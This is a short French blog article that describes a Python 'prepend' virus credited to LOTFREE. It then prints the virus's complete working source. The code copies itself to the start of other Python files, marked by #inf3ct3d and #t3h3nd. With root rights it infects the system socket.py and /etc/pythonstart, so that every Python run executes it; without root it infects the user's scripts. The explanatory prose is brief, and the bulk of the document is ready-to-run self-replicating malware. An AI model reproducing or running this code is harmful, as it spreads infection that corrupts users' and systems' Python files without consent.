Virus Python de type prepend

Le code qui suit est une création LOTFREE qui trainait sur un HDD depuis un moment. Le code comme le titre de l'article est auto-explicatif : Il s'agit d'un virus écrit en Python qui infecte d'autres fichiers sources Python en se rajoutant en début de fichier.

Pour s'auto-extraire et aussi pour savoir si un fichier est déjà infecté il utilise deux commentaires qui servent de balise de début et de fin : #inf3ct3d et #t3h3nd. Il prend soin de conserver la première ligne du script en tête du fichier infecté si elle correspond à un shebang.

Pour s'assurer que le code ne provoquera pas de problèmes, il est au milieu d'un try-except. Il regarde aussi s'il est lancé avec les droits root. Si c'est le cas il en profite pour infecter le fichier socket.py de la librairie Python ainsi que le fichier /etc/pythonstart qui est l'équivalent du /etc/profile pour bash : tout appel à Python, par le biais d'un programme ou via l'interpréteur exécutera ce fichier pythonstart.

Dans le cas où le code n'est pas lancé en root, on fouille les fichiers .py de l'utilisateur courant.

La critique que l'on pourrait faire de ce code c'est que dû au prepend il met en mémoire le contenu du script à infecter avant de le réécrire, ce qui n'est pas top niveau performances...

#inf3ct3d
# LOTFREE 9
try:
  import sys,os,glob
  vxfd = open(__file__)
  vx_ = vxfd.readlines()
  vx_ = vx_[vx_.index('#inf3ct3d\n') : vx_.index('#t3h3nd\n') + 1]
  vxfd.close()


  def infect(f):
    if not os.path.isfile(f) : return
    if not os.access(f,os.W_OK) : return
    v = open(f, "a+")
    m = v.readlines()
    if "#inf3ct3d\n" in m:
      v.close()
      return
    v.seek(0)
    v.truncate()
    if m[0].startswith("#!/"):
      v.write(m[0])
      m.pop(0)
    v.writelines(vx_)
    v.writelines(m)
    v.close()


  l = []
  if os.geteuid() == 0:
    # infect python files
    l += glob.glob("/usr/lib/python*/socket.py")
    l.append("/etc/pythonstart")
  else:
    #files in local dir
    if sys.platform != 'win32':
      l += glob.glob(os.path.expanduser('~') + "/*.py")
    l += glob.glob("*.py")
  for f in l: infect(f)
except ImportError:
  pass
except NameError:
  pass
except ValueError:
  pass
#t3h3nd
#do not touch this line